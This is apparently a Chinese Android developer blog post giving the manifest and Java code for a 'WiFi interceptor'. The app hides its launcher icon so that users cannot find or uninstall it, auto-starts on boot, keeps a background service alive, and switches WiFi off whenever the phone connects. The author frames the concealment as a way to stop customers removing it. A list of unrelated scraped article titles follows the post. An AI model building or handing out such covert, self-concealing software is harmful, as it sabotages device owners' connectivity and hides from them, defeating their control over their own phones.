最近,经理给了一个需求,让写一个WIFI拦截器,一开始我也是毫无头绪,不过还是几个小时就搞定了,其实也并没有什么,就是一个简单的广播和服务,上代码:

1、先看一下目录结构:

2、首先你要把你的APP得启动图标给隐藏,因为如果客户看见你的app图标有可能给你卸载掉,这样你的app毫无意义,所以不能让他看见(嘿嘿,有点恶心是不),隐藏图标的方法是:

 <activityandroid:name=".MainActivity"android:label="@string/app_name"><intent-filter><dataandroid:host="MainActivity"android:scheme="com.example.android.myapplication" /><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity>

host指的是你的入口Activity,scheme值得是项目的包名,这样你启动的时候就不会有启动图标了,不懂Android的人很难知道这是怎么回事。

3、MainActivity的代码:

public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);requestWindowFeature(Window.FEATURE_NO_TITLE);/*** 判断wifi的网络状态,如果开启时则关闭*/WifiManager wifiManager = (WifiManager) getSystemService(WIFI_SERVICE);if (wifiManager.isWifiEnabled()) {wifiManager.setWifiEnabled(false);}startService(new Intent(MainActivity.this, MyService.class));finish();}
}

在进入Activity的时候第一件事就是要判断wifi是都正在连接,如果是就关闭,另外我们还要开启一个常驻性服务,然后把程序干掉,这样表面上看来没什么,但是程序在后台还是在正常运行,如果有需要的朋友,还可以吧Service的优先级提高,防止Android强制回收掉。

4、注册开机启动广播,这没啥可讲的,大家一看就知道这是什么:

public class BootUpReceiver extends BroadcastReceiver {static final String action_boot = "android.intent.action.BOOT_COMPLETED";@Overridepublic void onReceive(Context context, Intent intent) {Intent intent1 = new Intent(context, MainActivity.class);intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);context.startActivity(intent1);}}

注册广播:

<receiver android:name=".BootUpReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /></intent-filter></receiver>

5、网络监听广播:这也没啥可将的,只要就是实时监听网络的变化,如果是WIFI连接,直接强制关闭:

public class NetworkStateReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {String action = intent.getAction();if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {NetworkInfo ni = intent.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO);if (ni.getState() == NetworkInfo.State.CONNECTED && ni.getType() == ConnectivityManager.TYPE_WIFI) {/*** 判断wifi的网络状态,开启时则关闭*/WifiManager wifiManager = (WifiManager) context.getSystemService(context.WIFI_SERVICE);if (wifiManager.isWifiEnabled()) {wifiManager.setWifiEnabled(false);}}}}
}

6、最后就是程序所需要的一些权限了:

<!--监听WIFI状态--><uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /><uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /><uses-permission android:name="android.permission.WAKE_LOCK" /><!--开启自启动--><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><!--监听网络变化--><uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

其实Demo很简单,但是非常好玩,大家有需要的可以看一下,我提供一个下载源代码的地址:

点击打开链接

我用的是Studio开发的,使用Eclipse的朋友可自行Copy代码。

手机WIFI拦截器简单实现相关推荐

  1. 2022-2028全球与中国WiFi拦截器市场现状及未来发展趋势

    辰宇信息咨询市场调研公司最近发布-<2022-2028全球与中国WiFi拦截器市场调研报告> 内容摘要 本文重点分析在全球及中国有重要角色的企业,分析这些企业WiFi拦截器产品的市场规模. ...

  2. 获取http请求标头_HTTP请求和标头参数的CDI拦截器–简单示例

    获取http请求标头 在使用Java EE开发和发展REST API的过程中,有些情况下您希望以更精细的方式(视情况)对传入的HTTP请求(特别是标头参数)进行"观察" Servl ...

  3. HTTP请求和标头参数的CDI拦截器-简单示例

    在使用Java EE开发和发展REST API的过程中,有些情况下您希望以更细粒度的方式(视情况而定)对传入的HTTP请求(特别是标头参数)进行"观察" Servlet过滤器或更具 ...

  4. springMVC 拦截器简单配置

    在spring 3.0甚础上,起来越多的用到了注解,从前的拦截器在配置文件中需要这样配置 [html] view plaincopy <beans...> ... <bean id= ...

  5. SpringMVC拦截器简单使用

    一.拦截器的配置 1.传统的配置 Xml代码   <bean class="org.springframework.web.servlet.mvc.annotation.Default ...

  6. Struts2拦截器简单示例

    拦截器(Interceptor)是Struts 2的核心组成部分.很多功能(Feature)都是构建在拦截器基础之上的,例如文件的上传和下载.国际化.转换器和数据校验等,Struts 2利用内建的拦截 ...

  7. dio拦截器 flutter_详解flutter之网络请求dio,请求,拦截器简单示例

    flutter一直很火的网络请求插件dio 直接上代码,写成一个类,可以直接使用 包含请求的封装,拦截器的封装 import 'package:dio/dio.dart'; import 'dart: ...

  8. MyBatis框架 拦截器简单使用

    Interceptor 是MyBatis提供的一个插件(plugin扩展).代表拦截器,可以拦截代码中的数据库访问操作,即Statement操作 拦截后,可以去修改正在执行的SQL语句,可以额外访问数 ...

  9. 过滤器、拦截器简单流程及使用

    前言 今天咱们来复习一下过滤器与拦截器吧,这是每一个Java程序员都要求掌握的技术,不许说不会哦,不会就赶紧学习,嘿嘿,咱们抓紧时间,现在就开始吧 1. 过滤器与拦截器的差异 过滤器和拦截器在功能上接 ...

最新文章

  1. 第0篇 面向对象思想
  2. hdu2846(2009多校第四场) 字典树
  3. springboot_4 spring boot 使用servlet,filter,listener和interceptor
  4. MVC的开发模式简单介绍
  5. Quartz-JobDataMap 参数传递
  6. Apache2配置SSL
  7. 表单验证失败提示方案(自用)
  8. android menu 小红点,Android自定义ActionProvider ToolBar实现Menu小红点
  9. python 数组合并排重_并排深度学习:Julia vs Python
  10. php获取location,php获取header[‘location’]信息常见问题
  11. jude的一些基本用法
  12. 指纹支付为什么没有推广?
  13. 【Java从0到架构师】Spring - 纯注解开发
  14. 对application/x-www-form-urlencoded、multipart/form-data和text/plain的认识
  15. php fread 逐行读取,php fread函数使用方法总结
  16. 修复:Linux系统机箱前置面板耳机插孔没声音
  17. 【IDM】IDM下载器安装
  18. Minecraft 1.18.2 forge开发 | (1) 开发环境搭建
  19. 无法加载文件 XXX,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft问题解决
  20. python动物书_图灵出品的人气O'Reilly动物书,你更钟意哪本?

热门文章

  1. 第五篇:mig读写时序下板实现
  2. Chrome安装插件提示 出现错误 image decode failed
  3. golang_iota
  4. windows10删除多余顽固输入法
  5. 足球一代又一代得青春
  6. ‘class QFontMetrics‘ has no member named ‘horizontalAdvance‘
  7. 英语单词词性顺口溜_巧记英语单词的顺口溜 这样记忆不枯燥
  8. 浅谈爬虫工作中HTTPIP的重要性
  9. 多线程开发实战:Java实现多线程四种方式及相关方法原理
  10. 读《万一针》老中医万方琴五十年针灸心得